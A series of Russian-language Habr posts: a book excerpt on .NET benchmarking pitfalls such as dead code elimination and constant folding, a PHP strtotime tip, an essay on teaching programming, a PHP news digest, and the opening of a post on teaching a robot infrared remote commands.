Вы хотите сравнить две разные реализации алгоритма, но цикл — это просто способ получить осмысленный результат для очень быстрых операций, на самом деле он не является частью измеряемой логики. Конечно же, мы не хотим, чтобы количество итераций цикла влияло на усредненное время работы. Так что лучше сделать N1 и N2 переменными, а не константами. Если вы и дальше будете внимательно читать эту главу, то заметите, что мы продолжаем использовать в циклах константы. Делаем это только для упрощения и берем константы, которые не делятся на 2 или 3. (LegacyJIT-x64, ты не сможешь их развернуть!) Все эти примеры не являются настоящими бенчмарками — это только иллюстрации подводных камней бенчмаркинга. Поэтому для подобной демонстрации применять константы допустимо, однако лучше так не делать в настоящих бенчмарках.
Теперь мы знаем, как предотвратить развертывание циклов, но это не единственная оптимизация среды исполнения. В следующем разделе разберемся, как предотвратить удаление тела цикла.
### Удаление неисполняемого кода
Современные компиляторы очень умны. В большинстве случаев они даже умнее разработчиков, которые пытаются что-то измерить с помощью бенчмарка. В типичном бенчмарке частенько присутствуют вызовы методов, возвращаемое значение которых не используется, ведь в бенчмаркинге нам неважен результат их работы, важно только время этой работы. Если измеренный код не производит никаких наблюдаемых эффектов, компилятор может его выкинуть. Эта оптимизация называется удалением неисполняемого кода (dead code elimination, DCE). Рассмотрим пример, наглядно показывающий эту оптимизацию.
#### Плохой бенчмарк
Найдем квадратные корни всех чисел от 0 до 100 000 000:
```
double x = 0;
for (int i = 0; i < 100000001; i++)
Math.Sqrt(x);
```
Теперь измерим время этого кода. Мы знаем, что цикл может добавить накладных расходов, поэтому оценим их и вычтем накладные расходы из основных измерений:
```
double x = 0;
var stopwatch = Stopwatch.StartNew();
for (int i = 0; i < 100000001; i++)
Math.Sqrt(x);
stopwatch.Stop();
var stopwatch2 = Stopwatch.StartNew();
for (int i = 0; i < 100000001; i++);
stopwatch2.Stop();
var target = stopwatch.ElapsedMilliseconds;
var overhead = stopwatch2.ElapsedMilliseconds;
var result = target - overhead;
Console.WriteLine("Target = " + target + "ms");
Console.WriteLine("Overhead = " + overhead + "ms");
Console.WriteLine("Result = " + result + "ms");
```
Пример результата (Windows, .NET Framework, RyuJIT-x64, режим релиза):
```
Target = 37ms
Overhead = 37ms
Result = 0ms
```
Ура, `Math.Sqrt` работает мгновенно! Мы можем исполнять `Math.Sqrt` сколько захотим без затрат производительности! Давайте запустим еще раз:
```
Target = 36ms
Overhead = 37ms
Result = -1ms
```
Ура, вызовы `Math.Sqrt` работают за отрицательное время! Если мы добавим побольше таких вызовов, то программа ускорится! Хотя… Не смущает ли вас такой результат? Взглянем на ассемблерный код нашего цикла:
```
; for (int i = 0; i < 100000001; i++)
; Math.Sqrt(x);
LOOP:
inc eax ; i++
cmp eax,2710h ; if (i < 10000)
jl LOOP ; Go to LOOP
```
Ага! Компилятор JIT применил здесь волшебную оптимизацию! Вы могли заметить, что мы никак не используем результаты `Math.Sqrt`. Этот код может быть спокойно удален. Увы, данная оптимизация портит наш бенчмарк. В обоих случаях мы измеряем пустой цикл. Из-за естественного шума появляется вариативность в измерениях, поэтому получить отрицательный результат нормально — это просто означает, что одно измерение больше другого.
Но мы все еще хотим измерить затраты производительности на `Math.Sqrt`. Как же улучшить наш бенчмарк?
#### Бенчмарк получше
Типичное обходное решение — каким-то образом использовать этот результат (давайте перепишем первую часть плохого бенчмарка):
```
double x = 0, y = 0;
var stopwatch = Stopwatch.StartNew();
for (int i = 0; i < 100000001; i++)
y += Math.Sqrt(x);
stopwatch.Stop();
Console.WriteLine(y);
```
Теперь вызовы к `Math.Sqrt` нельзя удалить, потому что нам нужен их результат, чтобы вывести сумму квадратных корней. Конечно, мы добавляем и небольшие накладные расходы из-за операции `y +=`. Это часть затрат на инфраструктуру бенчмаркинга. Проверим, как это работает:
```
Target = 327ms
Overhead = 37ms
Result = 290ms
```
Теперь `Result` — положительное число (290 мс), и в этом больше смысла.
> **СОВЕТ**
>
> Всегда используйте результаты своих вычислений.
>
>
Современные компиляторы умны, но мы должны быть умнее! В наших бенчмарках не должно быть кода, который можно выбросить. Единственный способ добиться этого — каким-то образом использовать возвращаемые значения измеряемых методов. Roslyn и JIT не должны знать, что на самом деле эти результаты нам не нужны. Самый простой способ — собрать все вычисленные значения и сохранить их в какое-нибудь поле. Если вы применяете локальную переменную, то значение этой переменной также должно быть как-то использовано после измерений (`Console.WriteLine` подойдет, если вас не волнует, что в результатах программы появляются лишние строчки).
Осторожно: любой код, предотвращающий удаление неиспользуемого кода, — тоже часть инфраструктуры бенчмарка и увеличивает общее время. Вы должны быть уверены в том, что это ограничение незначительно и не сильно повлияет на измерения. Представьте, что в результате у вас получается строка. Как ее использовать? Мы можем, например, добавить ее к другой строке следующим образом:
```
string StringOperation() { /* ... / }
// Бенчмарк
var stopwatch = Stopwatch.StartNew();
string acc = "";
for (int i = 0; i < N; i++)
acc += StringOperation();
stopwatch.Stop();
```
Стоит ли так хранить результаты бенчмарка? Нет, потому что накладные расходы на конкатенацию строк очень велики. Более того, они зависят от количества итераций: каждая следующая итерация занимает больше времени, чем предыдущая, потому что растет длина строки `acc`. Поэтому с каждой итерацией возрастает количество выделяемой памяти и увеличивается количество символов для копирования. Как же улучшить этот бенчмарк? В качестве одного из вариантов мы можем суммировать не сами строки, а их длины:
```
string StringOperation() { / ... */ }
// Бенчмарк
var stopwatch = Stopwatch.StartNew();
int acc = 0;
for (int i = 0; i < N; i++)
acc += StringOperation().Length;
stopwatch.Stop();
```
Так гораздо лучше, потому что сложение целых чисел и получение длины строки обычно работает гораздо быстрее, чем любые операции со строками. В большинстве случаев значительных накладных расходов при этом не будет, а данный прием идеально решает задачу предотвращения удаления ненужного кода: компилятор не может выкинуть вызовы `StringOperation()`, потому что мы используем их результат!
Удаление ненужного кода — не единственная оптимизация, которая может удалить часть логики из программы. В следующем разделе обсудим еще одну замечательную оптимизацию, которая может упростить код программы.
### Свертка констант
Допустим, мы хотим измерить следующую операцию умножения:
```
int Mul() => 2 * 3;
```
Выглядит ли это как метод, который мы действительно можем использовать для бенчмаркинга умножения? Чтобы узнать, скомпилируем его в режиме релиза и посмотрим на IL-код:
```
ldc.i4.6
ret
```
`ldc.i4.6` означает «Положить 6 на стек как int32», `ret` — «Взять значение из стека и вернуть его из метода».
Здесь вы видите результат умножения (6), жестко закодированный внутри программы. Компилятор C# достаточно умен, чтобы заранее высчитать такие выражения во время компиляции. Название этой оптимизации — свертка констант (constant folding). Она работает для всех констант, включая строки (например, `"a" + "b"` будет скомпилировано в `"ab"`). Эта оптимизация хороша с точки зрения производительности, но не очень хороша с точки зрения бенчмаркинга. Если мы хотим измерить производительность арифметических операций, мы должны быть уверены в том, что компилятор не сможет заранее выполнить никаких вычислений. Для этого мы можем хранить аргументы в отдельных полях:
```
private int a = 2, b = 3;
public int Mul() => a * b;
```
После применения данного рефакторинга в IL-коде появится команда `mul`:
```
ldarg.0
ldfld a
ldarg.0
ldfld b
mul
ret
```
`ldarg.0` означает «Положить нулевой аргумент на стек». Нулевым аргументом является текущий объект (this). Следующая команда `ldfld` означает «Взять объект из стека, получить заданное поле и положить значение поля обратно на стек». `mul` означает «Перемножить два верхних значения из стека». Таким образом, в этом коде мы кладем на стек `this.a`, затем `this.b`, а потом берем из стека два последних значения, перемножаем их, кладем результат обратно на стек и возвращаем его из функции.
Свертка констант может казаться простой и предсказуемой оптимизацией, но это не всегда так. Рассмотрим еще один интересный пример.
#### Плохой бенчмарк
Еще одна загадка: какой метод быстрее на RyuJIT-x64 (.NET Framework 4.6 без обновлений)?
```
public double Sqrt13()
{
return
Math.Sqrt(1) + Math.Sqrt(2) + Math.Sqrt(3) +
Math.Sqrt(4) + Math.Sqrt(5) + Math.Sqrt(6) +
Math.Sqrt(7) + Math.Sqrt(8) + Math.Sqrt(9) +
Math.Sqrt(10) + Math.Sqrt(11) + Math.Sqrt(12) +
Math.Sqrt(13);
}
public double Sqrt14()
{
return
Math.Sqrt(1) + Math.Sqrt(2) + Math.Sqrt(3)
+ Math.Sqrt(4) + Math.Sqrt(5) + Math.Sqrt(6)
+ Math.Sqrt(7) + Math.Sqrt(8) + Math.Sqrt(9)
+ Math.Sqrt(10) + Math.Sqrt(11) + Math.Sqrt(12)
+ Math.Sqrt(13) + Math.Sqrt(14);
}
```
Если мы внимательно измерим каждый метод, результат получится похожим на то, что показано в табл. 2.5.
**Таблица 2.5.** Результаты `Sqrt13` и `Sqrt14` на RyuJIT-x64
| | |
| --- | --- |
| **Метод** | **Время** |
| `Sqrt13` | ~ 91 нс |
| `Sqrt14` | 0 нс |
Выглядит очень странно. Мы добавили дополнительную операцию с вычислением квадратного корня, и она улучшила производительность кода. И не просто улучшила, а сделала его выполнение мгновенным! Разве такое возможно? Пора посмотреть на IL-код каждого из методов:
```
; Sqrt13
vsqrtsd xmm0,xmm0,mmword ptr [7FF94F9E4D28h]
vsqrtsd xmm1,xmm0,mmword ptr [7FF94F9E4D30h]
vaddsd xmm0,xmm0,xmm1
vsqrtsd xmm1,xmm0,mmword ptr [7FF94F9E4D38h]
vaddsd xmm0,xmm0,xmm1
vsqrtsd xmm1,xmm0,mmword ptr [7FF94F9E4D40h]
vaddsd xmm0,xmm0,xmm1
vsqrtsd xmm1,xmm0,mmword ptr [7FF94F9E4D48h]
vaddsd xmm0,xmm0,xmm1
vsqrtsd xmm1,xmm0,mmword ptr [7FF94F9E4D50h]
vaddsd xmm0,xmm0,xmm1
vsqrtsd xmm1,xmm0,mmword ptr [7FF94F9E4D58h]
vaddsd xmm0,xmm0,xmm1
vsqrtsd xmm1,xmm0,mmword ptr [7FF94F9E4D60h]
vaddsd xmm0,xmm0,xmm1
vsqrtsd xmm1,xmm0,mmword ptr [7FF94F9E4D68h]
vaddsd xmm0,xmm0,xmm1
vsqrtsd xmm1,xmm0,mmword ptr [7FF94F9E4D70h]
vaddsd xmm0,xmm0,xmm1
vsqrtsd xmm1,xmm0,mmword ptr [7FF94F9E4D78h]
vaddsd xmm0,xmm0,xmm1
vsqrtsd xmm1,xmm0,mmword ptr [7FF94F9E4D80h]
vaddsd xmm0,xmm0,xmm1
vsqrtsd xmm1,xmm0,mmword ptr [7FF94F9E4D88h]
vaddsd xmm0,xmm0,xmm1
ret
; Sqrt14
vmovsd xmm0,qword ptr [7FF94F9C4C80h]
ret
```
`vsqrtsd` вычисляет квадратный корень значения с плавающей запятой, `vaddsd` складывает значения с плавающей запятой, а `vmovsd` перемещает значение с плавающей запятой. Таким образом, `Sqrt13` каждый раз высчитывает всю сумму, а `Sqrt14` просто выдает константу.
Ага! Кажется, RyuJIT-x64 применил к `Sqrt14` оптимизацию свертки констант. Но почему этого не происходит с `Sqrt13`?
Если бы вы сами были JIT-компилятором, то жилось бы вам очень непросто. Вы бы знали столько потрясающих оптимизаций, но у вас было бы так мало времени, чтобы все их применить (никто не хочет возникновения проблем с производительностью из-за JIT-компиляции). Поэтому нужен компромисс между временем JIT- компиляции и количеством оптимизаций. Как решить, когда и какую оптимизацию применять? У RyuJIT-x64 есть набор эвристических алгоритмов, помогающих принимать подобные решения. В частности, если мы работаем с небольшим методом, можно пропустить некоторые оптимизации, потому что, скорее всего, метод и так будет достаточно быстрым. Если метод довольно большой, мы можем провести больше времени на стадии JIT-компиляции, чтобы улучшить скорость исполнения метода. В нашем примере добавление `Math.Sqrt(14)` — момент достижения эвристического порога: в этой точке RyuJIT решает применить дополнительную оптимизацию.
О подобных вещах стоит знать, но использовать эти знания в коде готового приложения — не лучшая идея. Не стоит пытаться улучшить производительность приложения, добавляя дополнительные вызовы `Math.Sqrt` в разных местах. Детали реализации JIT-компилятора можно изменить в любой момент. К примеру, вышеописанная проблема со сверткой констант была [обсуждена](https://github.com/dotnet/coreclr/issues/978) и [исправлена](https://github.com/dotnet/coreclr/issues/987), поэтому ее нельзя воспроизвести на .NET Framework 4.7+ (и `Sqrt13`, и `Sqrt14` будут работать за нулевое время из-за свертки констант).
Давайте улучшим наш бенчмарк так, чтобы он работал корректно вне зависимости от версии .NET Framework.
#### Бенчмарк получше
Лучший способ избежать свертки констант довольно прост — не использовать константы. Можно переписать наш код, добавив дополнительные поля для хранения используемых значений:
```
public double x1 = 1, x2 = 2, x3 = 3, x4 = 4, x5 = 5, x6 = 6,
x7 = 7, x8 = 8, x9 = 9, x10 = 10, x11 = 11,
x12 = 12, x13 = 13, x14 = 14;
public double Sqrt14()
{
return
Math.Sqrt(x1) + Math.Sqrt(x2) + Math.Sqrt(x3) +
Math.Sqrt(x4) + Math.Sqrt(x5) + Math.Sqrt(x6) +
Math.Sqrt(x7) + Math.Sqrt(x8) + Math.Sqrt(x9) +
Math.Sqrt(x10) + Math.Sqrt(x11) + Math.Sqrt(x12) +
Math.Sqrt(x13) + Math.Sqrt(x14);
}
```
Теперь RyuJIT не сможет применить свертку констант, потому что в теле метода больше нет никаких констант.
> **СОВЕТ**
>
> Не используйте константы в своих бенчмарках.
>
>
Все просто: если у вас нет констант, свертку констант применить нельзя. Если вы хотите передать нужным методам какие-то аргументы, лучше заведите для них отдельные поля. Данный подход еще и улучшит дизайн ваших бенчмарков. Обычно при разных входных данных получаются разные замеры времени. Если вы используете параметры вместо жестко закодированных значений, в будущем станет проще проверять другие значения ввода.
У .NET много способов удаления различных частей кода. В следующем разделе мы обсудим еще один из них.
---
> Андрей не только сам несёт .NET-знания в массы, но и помогает другим это делать, участвуя в программном комитете **DotNext**. Так что, если этот пост для вас актуален, то думаем, что и на нашей конференции вам будет интересно.
>
> В ближайший раз она пройдёт 7-8 апреля онлайн, информация и билеты — [на сайте](https://dotnext.ru/?utm_source=habr&utm_medium=599927). Программа ещё не сформирована, но когда отвечают за неё люди вроде Андрея, сомневаться в ней не приходится :)
>
> | https://habr.com/ru/post/599927/ | null | ru | null |
# Проблема модификации даты через strtotime
Добрый день хабравчане.
Хочу поведать вам о небольшой проблеме с вычислением даты функцией [strtotime](http://ru.php.net/strtotime).
Суть в следующем. Мне нужно было получить название предыдущего месяца. Ничего сложного в этой задаче нет:
```
$t = strtotime('-1 month');
echo strftime('%B', $t);
```
В большинстве случаев этот вариант отлично подходит. Но не сегодня. А ведь ещё даже не пятница =). Т.к. сегодня 31 мая, то вышеуказанный код вернул 1 мая. А +1 month вернул вообще 1 июля. Странно. В такие моменты каждый второй PHP-программист начинает изобретать следующий велосипед:
```
$months = array(1=>'Январь','Февраль','Март'...);
echo $months[date('m')-1];
```
Но можно сделать намного проще:
```
$t = strtotime('first day of previous month');
echo strftime('%B', $t);
```
Этот код как раз вернет 1 апреля. Подробнее о [формате первого аргумента](http://ru.php.net/manual/ru/datetime.formats.php) функции [strtotime](http://ru.php.net/strtotime).
Красивого кода и удачи. | https://habr.com/ru/post/144959/ | null | ru | null |
# Учите других, чтобы стать лучшим программистом
Это перевод. [Статья](https://www.zeroequalsfalse.press/2018/06/10/teach/) опубликована 10 июня 2018 года
Надоело программирование? **Попробуйте учить других.** Это самое приятное чувство: обучать кого-то этому мастерству и вдохновлять новых лидеров в нашей плодовитой области. Кто знает, что они могут создать? Может, это изменит наш образ жизни. И помните старую добрую поговорку: **если не можете сами, то учите! ;)**
В этой маленькой заметке я собираюсь объяснить, как именно учить программированию и как относиться к людям, которые ничего не знают о программировании. Методы передачи знаний, стратегии длительного наставничества и, наконец, правильное мышление.
Объяснения из реального мира
============================
Техножаргон не годится: полиморфизм, многопоточность, Typescript и прочее. Эти слова ничего не значат для людей, которые не разбираются в программировании. Начните с самого начала. Что им известно? **Они знают реальный мир**. Поэтому при объяснении, например, суперкласса, вы можете сказать, что `транспортное средство` — это суперкласс, а `самолёт грузовик автобус поезд самолёт и прочее` — это подклассы. Люди поймут аналогию.
Терпение и награда
==================
Обучение требует терпения. Крайне важно не торопить процесс, но вы должны направить ученика в нужный момент. В некоторых случаях люди раздражаются или расстраиваются — и просто хотят сдаться! Такова специфика решения головоломок и сути программирования, поскольку оно требует **настойчивости**. Со временем эти качества разовьются в ученике. Такому не научишь словами, но можно *наградить* его за достижения… и искренне отпраздновать победу!
Ещё одна ключевая причина важности терпения у вас как учителя — потому что все учатся с разной скоростью. Люди разные. Если кто-то не понимает вас, попробуйте подобрать другие слова и воспринять эту проблему как вызов *для вас*, а не для него.
Поощрение и позитивность
========================
Вы знаете, что… ваш ученик может стать человеком, кто создаст следующий Facebook, Instagram, Trello, Slack, Microsoft, Linux, Mac, Google или другой сумасшедший продукт/сервис. Не стоит недооценивать силу учения и силу *влияния*. Поощряйте на полёт мысли, амбициозные действия и беспредельный рост — и укрепляйте эту веру позитивом… вы можете оказаться учителем человека, который создаст лекарство от рака.
Никогда не знаешь, как оно сложится.
Делитесь реальными историями
============================
Люди легко погружаются в скуку. Главный вопрос в учёбе: **в чём смысл всего этого?** На самом деле это очень хороший вопрос. В основе лежит прикладная функция ценности и подсчёт, тратит ученик своё время впустую или нет. Так что чёрт побери… просто расскажите о перспективах. Поделитесь, каково это — быть разработчиком, каковы плоды нашего труда. Это прививает мотивацию — *очень, очень мощный инструмент*.
Ведите за собой и берите ответственность
========================================
Разумеется! Это отношения наставника → подопечного. Просто повторяйте это: **должно быть понятно**, кто ведёт за собой. О… ты не знаешь ответа? Я думал, ты наставник. Это твоя ответственность — учиться на лету и выдавать результаты. Всем будет гораздо лучше, если следовать этому принципу.
Подведём итоги
==============
Обучать других полезно для вас. Всё время возникают новые задачи, и нужно всегда быть на шаг впереди. Но это также очень полезное занятие. Сравнение с объектами из реального мира помогает ученикам лучше понять новые концепции. И не забывать о позитивности и терпении — кто знает, чем они могут обернуться!
Удачи в программировании! | https://habr.com/ru/post/413951/ | null | ru | null |
# PHP-Дайджест № 104 – интересные новости, материалы и инструменты (1 – 12 марта 2017)
[](https://habrahabr.ru/company/zfort/blog/323750/)
Предлагаем вашему вниманию очередную подборку со ссылками на новости и материалы.
Приятного чтения!
### Новости и релизы
* [Zend Expressive 2.0](https://framework.zend.com/blog/2017-03-07-expressive-2.html)
* [Composer 1.4.0](https://github.com/composer/composer/releases/tag/1.4.0) — Оптимизировано использование памяти + несколько других улучшений.
* [Prophecy 1.7.0](https://github.com/phpspec/prophecy/releases/tag/v1.7.0) — Обновление популярного инструмента для создания тестовых двойников.
* [PhpStorm 2017.1 Public Preview](https://blog.jetbrains.com/phpstorm/2017/03/phpstorm-2017-1-public-preview/) — Поддержка Codeception, PHPUnit 6, улучшена поддержка PHP 7, и другие улучшения.
* [HHVM теперь поддерживает архитектуру ARM](http://hhvm.com/blog/2017/03/09/how-the-cyber-elephant-got-his-arm.html)
* [WordPress запускается на .NET](http://www.peachpie.io/2017/02/wordpress-announcement.html) — После года разработки проект [Peachpie](http://www.peachpie.io/), в рамках которого развивается открытый компилятор из PHP в .NET, достиг возможности компиляции WordPress.
* Сразу несколько известных контрибьюторов PHP-сообщества запустили краудфандинговые кампании для развития своих проектов. Поддержим ребят и пожелаем им успехов и сил!
+ [Владимир Резниченко — Php Inspections](https://www.indiegogo.com/projects/php-inspections-ea-extended-a-code-analyzer-security#/)
+ [Sebastian Bergmann — PHPUnit](https://www.patreon.com/s_bergmann)
+ [Александр Макаров — Yii](https://www.patreon.com/samdark) — Подробнее в  [посте](http://rmcreative.ru/blog/post/ischu-sponsorov-dlja-raboty-nad-opensource) Александра [SamDark](https://habrahabr.ru/users/samdark/).
### PHP
* [RFC — Deprecation of fallback to root scope](https://wiki.php.net/rfc/fallback-to-root-scope-deprecation) — На данный момент в случае, если функция или константа не найдены в пространстве имен, будет попытка найти сущность с таким именем в глобальном пространстве. Предлагается объявить функциональность устаревшей и бросать ошибку уровня Notice:
```
Undefined function \My\NS\strlen(), assumed \strlen()
Undefined constant \My\NS\PHP_VERSION, assumed \PHP_VERSION
```
### Инструменты
* [fzaninotto/Faker](https://github.com/fzaninotto/Faker) — Библиотека для генерации тестовых данных. Свежий [туториал](https://code.tutsplus.com/tutorials/using-faker-to-generate-filler-data-for-automated-testing--cms-26824) по использованию. Прислал [im\_special\_one](https://habrahabr.ru/users/im_special_one/).
* [tarantool-php/mapper](https://github.com/tarantool-php/mapper) — Прозрачная работа с базой данных Tarantool. Прислал [nekufa](https://habrahabr.ru/users/nekufa/).
* [makasim/yadm](https://github.com/makasim/yadm) — Быстрая реализация schema less ODM для MongoDB.
* [magium/configuration-manager](https://github.com/magium/configuration-manager) — Библиотека для управления конфигами.  [Видеотуториал](https://www.youtube.com/watch?v=76MLD9Kl2Lk).
* [Maxlab/stacker](https://github.com/Maxlab/stacker) — Дев-окружение на основе Docker для разработки на популярных фреймворках. [Хабрапост в поддержку](https://habrahabr.ru/post/323634/).
* [justinrainbow/json-schema](https://github.com/justinrainbow/json-schema) — Инструмент для валидации согласно [json-schema.org](http://json-schema.org/). [Fesor](https://habrahabr.ru/users/fesor/) подсказал альтернативное решение [thephpleague/json-guard](https://github.com/thephpleague/json-guard).
* [BrainMaestro/composer-git-hooks](https://github.com/brainmaestro/composer-git-hooks) — Управление Git-хуками из конфига Composer.
* [ScriptFUSION/PHPUnit-Immediate-Exception-Printer](https://github.com/scriptfusion/phpunit-immediate-exception-printer) — Печатает информацию о возникших ошибках во время выполенения тестов не дожидаясь их конца.
* [tuupola/server-timing-middleware](https://github.com/tuupola/server-timing-middleware) — PSR-7 и PSR-15 компонент, который позволяет легко добавить заголовок Server-Timing со значениями таймеров, которые отобразятся на вкладке Network инструментов разработчика в браузере.
* [cilex/cilex](https://github.com/cilex/cilex) — Фреймворк для создания инструментов командной строки.
* [woohoolabs/yang](https://github.com/woohoolabs/yang) — Клиент для [JSON:API](http://jsonapi.org/).
* [spatie/server-monitor-app](https://github.com/spatie/server-monitor-app) — Монитор состояния сервера, умеет отправлять уведомления по email и в Slack.
* [antanas-arvasevicius/enumerable-type](https://github.com/antanas-arvasevicius/enumerable-type) — Строго типизированная реализация Enum.
* [violet-php/streaming-json-encoder](https://github.com/violet-php/streaming-json-encoder) — Потоковое кодирование JSON на лету, по сравнению с `json_encode` нет необходимости загружать все данные в память перед кодированием и весь результат после кодирования.
### Материалы для обучения
* ##### Symfony
+ [Об интеграции комментариев Disqus в Symfony-приложение](https://www.codevate.com/blog/15-driving-user-engagement-by-leveraging-disqus-in-symfony-based-web-apps)
+ [О производительности маршрутов в Symfony](https://blog.frankdejonge.nl/symfony-routing-performance-considerations/)
+ [Опрос сообщества Symfony 2017](https://www.surveymonkey.com/r/symfonysurvey)
+  [Видеоуроки по Symfony для начинающих](https://www.youtube.com/playlist?list=PLRkB3CK04Mo8vbftRqjuiwxIkVUtxjeOj)
+ [Новое в Symfony 3.3: Предзагрузка ресурсов с помощью HTTP/2 Push](http://symfony.com/blog/new-in-symfony-3-3-asset-preloading-with-http-2-push)
+ [Неделя Symfony #531 (27 февраля — 5 марта 2017)](http://symfony.com/blog/a-week-of-symfony-531-27-february-5-march-2017)
+ [Неделя Symfony #532 (6-12 марта 2017)](http://symfony.com/blog/a-week-of-symfony-532-6-12-march-2017)
* ##### Yii
+ [codemix/yii2-configloader](https://github.com/codemix/yii2-configloader) — Конфиги для Yii 2 из переменных окружения или .env файлов.
+ [Разработка на Yii2: ActiveRecord](https://code.tutsplus.com/tutorials/how-to-program-with-yii2-active-record--cms-27434)
+  [Плагины PhpStorm для Yii](http://rmcreative.ru/blog/post/plaginy-phpstorm-dlja-yii)
+  [Yii2, быстрый старт. Самый простой сайт на Yii2 со статическими страницами без использования БД](https://habrahabr.ru/post/323416/)
+  [Логирование в Yii 2.0 и PSR-3](https://habrahabr.ru/post/323584/)
+  [Архитектура Enterprise на Yii2. Абстракция, инверсия зависимости, инкапсуляция бизнес-логики и управление изменчивостью](https://habrahabr.ru/post/323736/)
* ##### Laravel
+ [laravelio/pastebin](https://github.com/laravelio/pastebin) — Клон Pastebin на Laravel. [Демо](https://paste.laravel.io/).
+ [mattstauffer/Torch](https://github.com/mattstauffer/torch) — Пример использования каждого компонента Laravel вне фреймворка.
+ [cybercog/laravel-ban](https://github.com/cybercog/laravel-ban) — Позволяет добавить возможность блокирования (бана) к любой Eloquent-модели.
+ [lubusIN/laravel-decomposer](https://github.com/lubusIN/laravel-decomposer) — Модуль для Laravel, который выводит информацию об установленных пакетах, зависимостях, окружении.
+ [Laravel Homestead V5.0.0](https://laravel-news.com/homestead-v5) — Обновление дев-окружения на основе Vagrant, может быть использован не только для Laravel.  [Видеотуториал](https://nomadphp.com/install-vagrant-via-composer-homestead/) по использованию.
+ [Awesome Laravel](https://github.com/TimothyDJones/awesome-laravel) — Подборка материалов и инструментов по Laravel. Также имеется [небольшая подборка](https://github.com/LaravelRUS/awesome-laravel-rus) русскоязычных материалов.
+ [Laravel Forge API](https://forge.laravel.com/api-documentation#introduction) — API сервиса теперь задокументировано. Имеется неофициальный клиент [mpociot/blacksmith](https://github.com/mpociot/blacksmith).
+ [Туториал по Laravel и ElasticSearch](https://blog.madewithlove.be/post/how-to-integrate-your-laravel-app-with-elasticsearch/) — Прислал [im\_special\_one](https://habrahabr.ru/users/im_special_one/).
+ [Двухфакторная аутентификация в Laravel с помощью SMS (Twilio)](https://www.sitepoint.com/secure-laravel-apps-2fa-via-sms/)
* [Laravel vs Symfony. Что выбрать?](https://www.toptal.com/php/choosing-between-symfony-and-laravel-frameworks) — Прислал [im\_special\_one](https://habrahabr.ru/users/im_special_one/).
* [Состояние PHP MVC фреймворков в 2017](https://www.sitepoint.com/the-state-of-php-mvc-frameworks-in-2017/)
* [Базовые техники рефакторинга: извлечение метода](https://qafoo.com/blog/098_extract_method.html)
* [Туториал по работе с Google Spreadsheets на PHP](https://www.twilio.com/blog/2017/03/google-spreadsheets-and-php.html)
* [Работа с PUT-запросами на загрузку файлов в PSR-7 middleware приложениях](https://blog.alejandrocelaya.com/2017/03/06/managing-put-requests-with-file-uploads-in-psr-7-and-middleware-php-applications/)
* [Замыкания, анонимные классы и альтернативные подход к мокам в тестировании](https://markbakeruk.net/2017/03/05/closures-anonymous-classes-test-mocking-1/)
* [Разделенные токены](https://paragonie.com/blog/2017/02/split-tokens-token-based-authentication-protocols-without-side-channels) — О способе защиты от атак по времени при аутентификации токеном.
* [Отладка PHP-приложения с помощью strace](https://medium.com/@paoloagostinetto/debugging-a-php-application-with-strace-4d0ae59f880b#.sv58gzito)
* [Об уязвимости в OPCache, исправленной в PHP 5.6.29, 7.0.14](https://ma.ttias.be/mitigating-phps-long-standing-issue-opcache-leaking-sensitive-data/?hn)
* [Оптимизация автозагрузчика Composer](https://getcomposer.org/doc/articles/autoloader-optimization.md) — Немного обновлена официальная документация.
*  [Вебинар от JetBrains по использованию PhpSpec и PhpStorm](https://www.youtube.com/watch?v=_ku8ot148BM) — Прислал [im\_special\_one](https://habrahabr.ru/users/im_special_one/).
*  [Непрерывная интеграция для PHP-проектов с помощью PHP Censor](http://devacademy.ru/posts/nieprieryvnaia-intieghratsiia-dlia-php-proiektov-s-pomoshch-iu-php-censor/)
*  [Magento BarCamp — новый сезон докладов. Март 2017](https://habrahabr.ru/post/323604/)
*  [Оживляем FirePhp в Firefox](https://habrahabr.ru/post/322654/)
*  [Magento U опубликовало бесплатный курс Fundamentals of Magento 2 Development](https://habrahabr.ru/post/323784/)
### Занимательное
* [От 0 до 1000 звезд на GitHub за три месяца на сайд-проекте](https://medium.com/@ondrejmirtes/how-i-got-from-0-to-1-000-stars-on-github-in-three-months-with-my-open-source-side-project-8ffe4725146#.wihwnsy8u) — Об успехе статического анализатора [PHPStan](https://github.com/phpstan/phpstan).
* [Taylor Otwell: Как я работаю](https://medium.com/@taylorotwell/how-i-work-a22010d1ad82#.bl2zx3ayf)
Спасибо за внимание!
Если вы заметили ошибку или неточность — сообщите, пожалуйста, в [личку](https://habrahabr.ru/conversations/pronskiy/).
Вопросы и предложения пишите на [почту](mailto:roman@pronskiy.com) или в [твиттер](https://twitter.com/pronskiy).
[Прислать ссылку](https://bit.ly/php-digest-add-link)
[Быстрый поиск по всем дайджестам](https://pronskiy.com/php-digest/)
← [Предыдущий выпуск: PHP-Дайджест № 103](https://habrahabr.ru/company/zfort/blog/322648/) | https://habr.com/ru/post/323750/ | null | ru | null |
# Обучаемое управление роботом по ИК пульту
Недавно я присоединился к [проекту Робот-Митя](http://habrahabr.ru/post/135043/). Спасибо большое Дмитрию [DmitryDzz](https://geektimes.ru/users/dmitrydzz/), что сделал такой классный проект и помог с первоначальным запуском робота, особенно что касается запуска Android-приложения.
Роботом уже можно было управлять по Bluetooth и Wi-Fi (через Android-голову). И через некоторое время захотелось управлять Митей пультом. На борту штатного робота у Робота уже был ИК-приемник (ведь изначально он был собран для ИК-войнушки), поэтому дело оставалось за кодом. Довольно быстро удалось настроить управление по своему телевизионному пульту, считав и записав “коды” клавиш пульта, выдаваемые библиотекой IRremote.h. Однако для этого пришлось прописать в коде эти “коды”, что было, не универсально: каждому участнику пришлось бы отдельно считывать и прописывать вручную коды, и мне при смене пульта или небольшой смене команд, пришлось бы заново прописывать данные этих пультов в скетче. А как было бы здорово, взять ЛЮБОЙ пульт и просто начать управлять Митей с его помощью!
#### Обучение робота командам пульта
А действительно, почему и да? Ведь на борту Arduino 512 байт EEPROM, чего хватит на сохранение 128 команд. (Один “код” занимает 4 байта). У меня сейчас получилось всего 17 команд. Осталось придумать, как реализовать обучение робота пульту. Хотелось бы это сделать так, чтобы это было максимально просто и желательно даже без участия телефонной части робота (вдруг кто-то соберет робота и у него не будет Android телефона). В таком случае сразу после сборки робота, можно будет залив в него скетч, без всяких изменений сразу же управлять роботом. Это одна из маленьких побед, которая очень обрадует нового участника и у него будет больше мотивации двигаться дальше (сборка Android и Windows-части робота.) — Мы решили, что в процессе присоединения нового участника очень важно, чтобы на каждом этапе человек видел позитивную обратную связь от разработки, и не бросил на полпути, если что-то не получается. Поэтому обучение роботу команд от пульта было решено сделать исключительно с помощью пульта.
